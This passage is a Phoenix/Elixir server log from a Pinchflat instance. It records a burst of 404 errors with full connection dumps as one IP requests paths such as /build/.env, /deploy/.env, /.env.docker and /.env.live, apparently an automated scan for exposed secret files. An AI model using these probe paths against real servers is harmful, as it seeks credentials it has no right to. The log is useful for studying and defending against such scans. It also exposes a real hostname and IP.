=> "roku.hartupee.com", "sec-ch-ua" => "\"Chromium\";v=\"131\", \"Not_A Brand\";v=\"24\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Windows\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "cross-site", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "45.88.138.44", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9976.0>, params: %{}, path_info: ["build", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8"}, {"accept-encoding", "gzip, deflate, br"}, {"accept-language", "en-US,en;q=0.9"}, {"cache-control", "max-age=0"}, {"host", "roku.hartupee.com"}, {"sec-ch-ua", "\"Chromium\";v=\"131\", \"Not_A Brand\";v=\"24\""}, {"sec-ch-ua-mobile", "?0"}, {"sec-ch-ua-platform", "\"Windows\""}, {"sec-fetch-dest", "document"}, {"sec-fetch-mode", "navigate"}, {"sec-fetch-site", "cross-site"}, {"sec-fetch-user", "?1"}, {"upgrade-insecure-requests", "1"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "45.88.138.44"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "45.88.138.44"} ], request_path: "/build/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDH6TWbqXHvz0AAe1C"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9975.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/build/.env", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50548}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "cache-control" => "max-age=0", "host" => "roku.hartupee.com", "sec-ch-ua" => "\"Chromium\";v=\"131\", \"Not_A Brand\";v=\"24\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Windows\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "cross-site", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "45.88.138.44", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /build/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9975.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/build/.env", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50548}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "cache-control" => "max-age=0", "host" => "roku.hartupee.com", "sec-ch-ua" => "\"Chromium\";v=\"131\", \"Not_A Brand\";v=\"24\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Windows\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "cross-site", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 1 (truncated) 15:23:50.535 [info] GET /deploy/.env 15:23:50.535 [debug] QUERY OK source="settings" db=0.0ms idle=1596.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:23:50.535 [debug] QUERY OK source="settings" db=0.0ms idle=1596.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:23:50.535 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:23:50.536 [error] #PID<0.9978.0> running PinchflatWeb.Endpoint (connection #PID<0.9977.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /deploy/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /deploy/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9977.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/deploy/.env", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50560}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "fr-FR,fr;q=0.9,en-US;q=0.8", "host" => "roku.hartupee.com", "sec-ch-ua" => "\"Chromium\";v=\"130\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"macOS\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36", "x-forwarded-for" => "45.88.138.44", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9978.0>, params: %{}, path_info: ["deploy", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8"}, {"accept-encoding", "gzip, deflate, br"}, {"accept-language", "fr-FR,fr;q=0.9,en-US;q=0.8"}, {"host", "roku.hartupee.com"}, {"sec-ch-ua", "\"Chromium\";v=\"130\""}, {"sec-ch-ua-mobile", "?0"}, {"sec-ch-ua-platform", "\"macOS\""}, {"sec-fetch-dest", "document"}, {"sec-fetch-mode", "navigate"}, {"sec-fetch-site", "none"}, {"sec-fetch-user", "?1"}, {"upgrade-insecure-requests", "1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36"}, {"x-forwarded-for", "45.88.138.44"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "45.88.138.44"} ], request_path: "/deploy/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDH6ZK0FfhVSsAAe2C"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9977.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/deploy/.env", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50560}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "fr-FR,fr;q=0.9,en-US;q=0.8", "host" => "roku.hartupee.com", "sec-ch-ua" => "\"Chromium\";v=\"130\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"macOS\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36", "x-forwarded-for" => "45.88.138.44", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /deploy/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9977.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/deploy/.env", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50560}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "fr-FR,fr;q=0.9,en-US;q=0.8", "host" => "roku.hartupee.com", "sec-ch-ua" => "\"Chromium\";v=\"130\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"macOS\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36", "x-forwarded-for" => "45.88.138.44", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "45.8 (truncated) 15:23:50.543 [info] GET /.env.docker 15:23:50.543 [debug] QUERY OK source="settings" db=0.1ms idle=912.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:23:50.544 [debug] QUERY OK source="settings" db=0.0ms idle=32.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:23:50.544 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:23:50.544 [error] #PID<0.9980.0> running PinchflatWeb.Endpoint (connection #PID<0.9979.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /.env.docker ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9979.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.docker", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50564}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br, zstd", "accept-language" => "de-DE,de;q=0.9,en-US;q=0.8", "host" => "roku.hartupee.com", "sec-ch-ua" => "\"Chromium\";v=\"133\", \"Not_A Brand\";v=\"24\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Windows\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36", "x-forwarded-for" => "45.88.138.44", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9980.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8"}, {"accept-encoding", "gzip, deflate, br, zstd"}, {"accept-language", "de-DE,de;q=0.9,en-US;q=0.8"}, {"host", "roku.hartupee.com"}, {"sec-ch-ua", "\"Chromium\";v=\"133\", \"Not_A Brand\";v=\"24\""}, {"sec-ch-ua-mobile", "?0"}, {"sec-ch-ua-platform", "\"Windows\""}, {"sec-fetch-dest", "document"}, {"sec-fetch-mode", "navigate"}, {"sec-fetch-site", "none"}, {"sec-fetch-user", "?1"}, {"upgrade-insecure-requests", "1"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36"}, {"x-forwarded-for", "45.88.138.44"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "45.88.138.44"} ], request_path: "/.env.docker", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDH6bKiMdfOiIAAe3C"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9979.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.docker", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50564}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br, zstd", "accept-language" => "de-DE,de;q=0.9,en-US;q=0.8", "host" => "roku.hartupee.com", "sec-ch-ua" => "\"Chromium\";v=\"133\", \"Not_A Brand\";v=\"24\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Windows\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36", "x-forwarded-for" => "45.88.138.44", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9979.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.docker", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50564}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br, zstd", "accept-language" => "de-DE,de;q=0.9,en-US;q=0.8", "host" => "roku.hartupee.com", "sec-ch-ua" => "\"Chromium\";v=\"133\", \"Not_A Brand\";v=\"24\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Windows\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36", "x-forwarded-for" => "4 (truncated) 15:23:50.558 [info] GET /.env.live 15:23:50.558 [debug] QUERY OK source="settings" db=0.0ms idle=46.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:23:50.558 [debug] QUERY OK source="settings" db=0.0ms idle=22.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:23:50.558 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:23:50.558 [error] #PID<0.9982.0> running PinchflatWeb.Endpoint (connection #PID<0.9981.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /.env.live ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9981.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.live", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50576}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Mobile/15E148 Safari/604.1", "x-forwarded-for" => "45.88.138.44", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9982.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip, deflate, br"}, {"accept-language", "en-US,en;q=0.9"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Mobile/15E148 Safari/604.1"}, {"x-forwarded-for", "45.88.138.44"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "45.88.138.44"} ], request_path: "/.env.live", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDH6eoB7xAa_sAAe4C"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9981.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.live", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50576}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Mobile/15E148 Safari/604.1", "x-forwarded-for" => "45.88.138.44", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9981.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.live", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50576}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Mobile/15E148 Safari/604.1", "x-forwarded-for" => "45.88.138.44", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9982.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip, deflate, br"}, {"accept-language", "en-US,en;q=0.9"}, {"host", "roku.hartupee.com"}, {"user-agent", (truncated) 